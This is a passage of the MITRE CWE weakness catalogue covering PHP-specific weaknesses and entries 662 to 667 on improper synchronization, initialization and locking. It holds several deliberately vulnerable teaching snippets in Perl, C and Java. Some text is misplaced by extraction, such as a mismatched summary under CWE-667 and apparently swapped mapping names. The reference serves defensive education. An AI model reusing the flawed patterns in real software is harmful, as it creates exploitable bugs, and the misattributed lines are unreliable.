<td>J2EE Framework: Saving Unserializable Objects to Disk</td>
</tr>
<tr>
<td>☣</td>
<td>595</td>
<td>Comparison of Object References Instead of Object Contents</td>
</tr>
<tr>
<td>☣</td>
<td>607</td>
<td>Public Static Final Field References Mutable Object</td>
</tr>
<tr>
<td>☣</td>
<td>608</td>
<td>Struts: Non-private Field in ActionForm Class</td>
</tr>
<tr>
<td>☣</td>
<td>609</td>
<td>Double-Checked Locking</td>
</tr>
<tr>
<td>☣</td>
<td>766</td>
<td>Critical Variable Declared Public</td>
</tr>
<tr>
<td>☣</td>
<td>767</td>
<td>Access to Critical Private Variable via Public Method</td>
</tr>
<tr>
<td>☣</td>
<td>917</td>
<td>Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')</td>
</tr>
</tbody>
</table>

**CWE-661: Weaknesses in Software Written in PHP**

**View ID:** 661 *(View: Implicit Slice)*  |  **Status:** Draft

**Objective**
This view (slice) covers issues that are found in PHP programs that are not common to all languages.

View Data

Filter Used:
\\Applicable_Platforms\\@Language_Name='PHP'

View Metrics

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>21</td>
</tr>
<tr>
<td>Views</td>
<td>0</td>
</tr>
<tr>
<td>Categories</td>
<td>0</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>21</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>0</td>
</tr>
</tbody>
</table>

CWEs Included in this View

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>🟥</td>
<td>95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')</td>
</tr>
<tr>
<td>🟥</td>
<td>96</td>
<td>Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')</td>
</tr>
<tr>
<td>🟥</td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
</tr>
<tr>
<td>🟥</td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
</tr>
<tr>
<td>🟥</td>
<td>211</td>
<td>Information Exposure Through Externally-generated Error Message</td>
</tr>
<tr>
<td>🟥</td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>🟥</td>
<td>453</td>
<td>Insecure Default Variable Initialization</td>
</tr>
<tr>
<td>🟥</td>
<td>454</td>
<td>External Initialization of Trusted Variables or Data Stores</td>
</tr>
<tr>
<td>🟥</td>
<td>457</td>
<td>Use of Uninitialized Variable</td>
</tr>
<tr>
<td>🟥</td>
<td>470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</td>
</tr>
<tr>
<td>🟥</td>
<td>473</td>
<td>PHP External Variable Modification</td>
</tr>
<tr>
<td>🟥</td>
<td>474</td>
<td>Use of Function with Inconsistent Implementations</td>
</tr>
<tr>
<td>🟥</td>
<td>484</td>
<td>Omitted Break Statement in Switch</td>
</tr>
<tr>
<td>🟥</td>
<td>502</td>
<td>Deserialization of Untrusted Data</td>
</tr>
<tr>
<td>🟥</td>
<td>616</td>
<td>Incomplete Identification of Uploaded File Variables (PHP)</td>
</tr>
<tr>
<td>🟥</td>
<td>621</td>
<td>Variable Extraction Error</td>
</tr>
<tr>
<td>🟥</td>
<td>624</td>
<td>Executable Regular Expression Error</td>
</tr>
<tr>
<td>🟥</td>
<td>625</td>
<td>Permissive Regular Expression</td>
</tr>
<tr>
<td>🟥</td>
<td>626</td>
<td>Null Byte Interaction Error (Poison Null Byte)</td>
</tr>
<tr>
<td>🟥</td>
<td>627</td>
<td>Dynamic Variable Evaluation</td>
</tr>
<tr>
<td>🟥</td>
<td>915</td>
<td>Improperly Controlled Modification of Dynamically-Determined Object Attributes</td>
</tr>
</tbody>
</table>

---

CWE-662: Improper Synchronization

**Weakness ID:** 662 *(Weakness Base)*  
**Status:** Draft

**Description**

**Summary**

The software attempts to use a shared resource in an exclusive manner, but does not prevent or incorrectly prevents use of the resource by another thread or process.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences**

- Integrity
- Confidentiality
- Other

Modify application data
Read application data
Alter execution logic
Potential Mitigations

Implementation

Use industry standard APIs to synchronize your code.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>627</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>C</td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
<td>628</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1028</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>1075</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>745</td>
<td>CERT C Secure Coding Section 11 - Signals (SIG)</td>
<td>1139</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>852</td>
<td>CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)</td>
<td>1298</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>879</td>
<td>CERT C++ Secure Coding Section 11 - Signals (SIG)</td>
<td>1321</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>986</td>
<td>SFP Secondary Cluster: Missing Lock</td>
<td>1391</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>663</td>
<td>Use of a Non-reentrant Function in a Concurrent Context</td>
<td>1027</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>667</td>
<td>Improper Locking</td>
<td>1034</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>820</td>
<td>Missing Synchronization</td>
<td>1252</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>821</td>
<td>Incorrect Synchronization</td>
<td>1253</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>SIG00-C</td>
<td>Mask signals handled by noninterruptible signal handlers</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>SIG31-C</td>
<td>Do not access or modify shared objects in signal handlers</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>VNA03-J</td>
<td>State synchronization error</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>SIG00-CPP</td>
<td>Do not assume that a group of calls to independently atomic methods is atomic</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>SIG31-CPP</td>
<td>Mask signals handled by noninterruptible signal handlers</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP19</td>
<td>Do not access or modify shared objects in signal handlers</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>25</td>
<td>Forced Deadlock</td>
<td></td>
</tr>
<tr>
<td>26</td>
<td>Leveraging Race Conditions</td>
<td></td>
</tr>
<tr>
<td>27</td>
<td>Leveraging Race Conditions via Symbolic Links</td>
<td></td>
</tr>
<tr>
<td>29</td>
<td>Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions</td>
<td></td>
</tr>
</tbody>
</table>

CWE-663: Use of a Non-reentrant Function in a Concurrent Context

Weakness ID: 663 (Weakness Base)  Status: Draft

Description

Summary

The software calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences
CWE Version 2.11

CWE-664: Improper Control of a Resource Through its Lifetime

Integrity
Confidentiality
Other
Modify application data
Read application data
Alter execution logic

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1349</td>
<td>unsafe calls to library functions from signal handler</td>
</tr>
<tr>
<td>CVE-2004-2259</td>
<td>handler for SIGCHLD uses non-reentrant functions</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Use reentrant functions if available.

Implementation
Add synchronization to your non-reentrant function.

Implementation
In Java, use the ReentrantLock Class.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>662</td>
<td>Improper Synchronization</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>986</td>
<td>SFP Secondary Cluster: Missing Lock</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>558</td>
<td>Use of getlogin() in Multithreaded Application</td>
<td>1000</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name (CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>29</td>
<td>Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions</td>
</tr>
</tbody>
</table>

References


CWE-664: Improper Control of a Resource Through its Lifetime

Weakness ID: 664 (Weakness Class) Status: Draft

Description

Summary
The software does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.

Extended Description
Resources often have explicit instructions on how to be created, used and destroyed. When software does not follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.
Even without explicit instructions, various principles are expected to be adhered to, such as "Do not use an object until after its creation is complete," or "do not use an object after it has been slated for destruction."

Time of Introduction
- Implementation

Common Consequences
Other

Potential Mitigations

Testing
Use Static analysis tools to check for unreleased resources.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>627</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>984</td>
<td>SFP Secondary Cluster: Life Cycle</td>
<td>1390</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>221</td>
<td>Information Loss or Omission</td>
<td>414</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>284</td>
<td>Improper Access Control</td>
<td>500</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
<td>689</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>405</td>
<td>Asymmetric Resource Consumption (Amplification)</td>
<td>704</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>410</td>
<td>Insufficient Resource Pool</td>
<td>710</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
<td>793</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>820</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
<td>959</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>662</td>
<td>Improper Synchronization</td>
<td>1026</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>665</td>
<td>Improper Initialization</td>
<td>1029</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>666</td>
<td>Operation on Resource in Wrong Phase of Lifetime</td>
<td>1033</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1037</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
<td>1039</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>673</td>
<td>External Influence of Sphere Definition</td>
<td>1043</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
<td>1107</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
<td>1109</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>908</td>
<td>Use of Uninitialized Resource</td>
<td>1334</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>911</td>
<td>Improper Update of Reference Count</td>
<td>1339</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>913</td>
<td>Improper Control of Dynamically-Managed Code Resources</td>
<td>1340</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>922</td>
<td>Insecure Storage of Sensitive Information</td>
<td>1353</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>

MemberOf  | V    | 1000| Research Concepts              | 1413 |

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>21</td>
<td>Exploitation of Trusted Credentials</td>
</tr>
<tr>
<td>60</td>
<td>Reusing Session IDs (aka Session Replay)</td>
</tr>
<tr>
<td>61</td>
<td>Session Fixation</td>
</tr>
<tr>
<td>62</td>
<td>Cross Site Request Forgery</td>
</tr>
<tr>
<td>196</td>
<td>Session Credential Falsification through Forging</td>
</tr>
</tbody>
</table>

Maintenance Notes

More work is needed on this node and its children. There are perspective/layering issues; for example, one breakdown is based on lifecycle phase (CWE-404, CWE-665), while other children are independent of lifecycle, such as CWE-400. Others do not specify as many bases or variants, such as CWE-704, which primarily covers numbers at this stage.

CWE-665: Improper Initialization

Weakness ID: 665 (Weakness Class)
Description

Summary
The software does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

Extended Description
This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.

Time of Introduction
• Implementation
• Operation

Applicable Platforms

Languages
• Language-independent

Modes of Introduction
This weakness can occur in code paths that are not well-tested, such as rare error conditions. This is because the use of uninitialized data would be noticed as a bug during frequently-used functionality.

Common Consequences

Confidentiality
Read memory
Read application data
When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.

Access Control
Bypass protection mechanism
If security-critical decisions rely on a variable having a "0" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.

Availability
DoS: crash / exit / restart
The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may produce an index that is outside the range of the array, possibly causing a crash or an exit in other environments.

Likelihood of Exploit
Medium

Detection Methods

Automated Dynamic Analysis
Moderate
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Initialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Demonstrative Examples

Example 1:
Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Java Example:

```java
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
    ...
        initialized = true;
    }
}
```

Example 2:
The following code intends to limit certain operations to the administrator only.

Perl Example:

```perl
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:
The following code intends to concatenate a string to a variable and print the string.

C Example:

```c
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-
read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1471</td>
<td>chain: an invalid value prevents a library file from being included, skipping initialization of key variables, leading to resultant eval injection.</td>
</tr>
<tr>
<td>CVE-2005-1036</td>
<td>Permission bitmap is not properly initialized, leading to resultant privilege elevation or DoS.</td>
</tr>
<tr>
<td>CVE-2007-3749</td>
<td>OS kernel does not reset a port when starting a setuid program, allowing local users to access the port and gain privileges.</td>
</tr>
<tr>
<td>CVE-2008-0062</td>
<td>Lack of initialization triggers NULL pointer dereference or double-free.</td>
</tr>
<tr>
<td>CVE-2008-0063</td>
<td>Product does not clear memory contents when generating an error message, leading to information leak.</td>
</tr>
<tr>
<td>CVE-2008-0081</td>
<td>Uninitialized variable leads to code execution in popular desktop application.</td>
</tr>
<tr>
<td>CVE-2008-2934</td>
<td>Free of an uninitialized pointer leads to crash and possible code execution.</td>
</tr>
<tr>
<td>CVE-2008-3475</td>
<td>chain: Improper initialization leads to memory corruption.</td>
</tr>
<tr>
<td>CVE-2008-3597</td>
<td>chain: game server can access player data structures before initialization has happened leading to NULL dereference</td>
</tr>
<tr>
<td>CVE-2008-3637</td>
<td>Improper error checking in protection mechanism produces an uninitialized variable, allowing security bypass and code execution.</td>
</tr>
<tr>
<td>CVE-2008-3688</td>
<td>chain: Uninitialized variable leads to infinite loop.</td>
</tr>
<tr>
<td>CVE-2008-4197</td>
<td>Use of uninitialized memory may allow code execution.</td>
</tr>
<tr>
<td>CVE-2008-5021</td>
<td>Composite: race condition allows attacker to modify an object while it is still being initialized, causing software to access uninitialized memory.</td>
</tr>
<tr>
<td>CVE-2009-0949</td>
<td>chain: improper initialization of memory can lead to NULL dereference</td>
</tr>
<tr>
<td>CVE-2009-2692</td>
<td>chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference</td>
</tr>
</tbody>
</table>

Potential Mitigations

Requirements

Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable’s type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.

Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.
Weakness Ordinalities

**Primary** *(where the weakness exists independent of other weaknesses)*

**Resultant** *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>452</td>
<td>Initialization and Cleanup Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>740</td>
<td>CERT C Secure Coding Section 06 - Arrays (ARR)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>752</td>
<td>2009 Top 25 - Risky Resource Management</td>
<td>750</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>846</td>
<td>CERT Java Secure Coding Section 01 - Declarations and</td>
<td>844</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Initialization (DCL)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>874</td>
<td>CERT C++ Secure Coding Section 06 - Arrays and the STL</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>453</td>
<td>Insecure Default Variable Initialization</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>454</td>
<td>External Initialization of Trusted Variables or Data Stores</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>455</td>
<td>Non-exit on Failed Initialization</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>457</td>
<td>Use of Uninitialized Variable</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>770</td>
<td>Allocation of Resources Without Limits or Throttling</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>909</td>
<td>Missing Initialization of Resource</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Incorrect initializtion</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ARR02-C</td>
<td>Explicitly specify array bounds, even if implicitly defined by an initializer</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM09-C</td>
<td>Do not assume memory allocation routines initialize memory</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>DCL00-J</td>
<td>Prevent class initialization cycles</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ARR02-CPP</td>
<td>Explicitly specify array bounds, even if implicitly defined by an initializer</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM09-CPP</td>
<td>Do not assume memory allocation routines initialize memory</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP4</td>
<td>Unchecked Status Condition</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>26</td>
<td>Leveraging Race Conditions</td>
<td></td>
</tr>
<tr>
<td>29</td>
<td>Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions</td>
<td></td>
</tr>
<tr>
<td>172</td>
<td>Manipulate Timing and State</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-667: Improper Locking

Weakness ID: 667 (Weakness Base)  Status: Draft

Description

Summary
The software performs an operation on a resource at the wrong phase of the resource’s lifecycle, which can lead to unexpected behaviors.

Extended Description
When a developer wants to initialize, use or release a resource, it is important to follow the specifications outlined for how to operate on that resource and to ensure that the resource is in the expected state. In this case, the software wants to perform a normally valid operation, initialization, use or release, on a resource when it is in the incorrect phase of its lifetime.

Time of Introduction
• Architecture and Design
• Implementation

Common Consequences

Availability
DoS: resource consumption (CPU)
Inconsistent locking discipline can lead to deadlock.

Demonstrative Examples

Example 1:
In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.
Java Example:

```java
private long someLongValue;
public long getLongValue() {
    return someLongValue;
}
public void setLongValue(long l) {
    someLongValue = l;
}
```

Example 2:
This code tries to obtain a lock for a file, then writes to it.

PHP Example:

```php
function writeToLog($message){
    $logfile = fopen("logFile.log", "a");
    // attempt to get logfile lock
    if (flock($logfile, LOCK_EX)) {
        fwrite($logfile,$message);
        // unlock logfile
        flock($logfile, LOCK_UN);
    } else {
        print "Could not obtain lock on logFile.log, message not recorded\n";
    }
}
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

Example 3:
The following function attempts to acquire a lock in order to perform operations on a shared resource.

C Example:

```c
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

```c
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

Example 4:
It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...
Java Example:

```java
if (helper == null) {
    synchronized (this) {
        if (helper == null) {
            helper = new Helper();
        }
    }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

```java
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0338</td>
<td>Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.</td>
</tr>
<tr>
<td>CVE-2000-1198</td>
<td>Chain: Lock files with predictable names. Resultant from randomness.</td>
</tr>
<tr>
<td>CVE-2001-0682</td>
<td>Program can not execute when attacker obtains a mutex.</td>
</tr>
<tr>
<td>CVE-2002-0051</td>
<td>Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.</td>
</tr>
<tr>
<td>CVE-2002-1580</td>
<td>read/write deadlock between web server and script</td>
</tr>
<tr>
<td>CVE-2002-1869</td>
<td>Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.</td>
</tr>
<tr>
<td>CVE-2002-1914</td>
<td>Program can not execute when attacker obtains a lock on a critical output file.</td>
</tr>
<tr>
<td>CVE-2002-1915</td>
<td>Program can not execute when attacker obtains a lock on a critical output file.</td>
</tr>
<tr>
<td>CVE-2004-0174</td>
<td>Web server deadlock involving multiple listening connections</td>
</tr>
<tr>
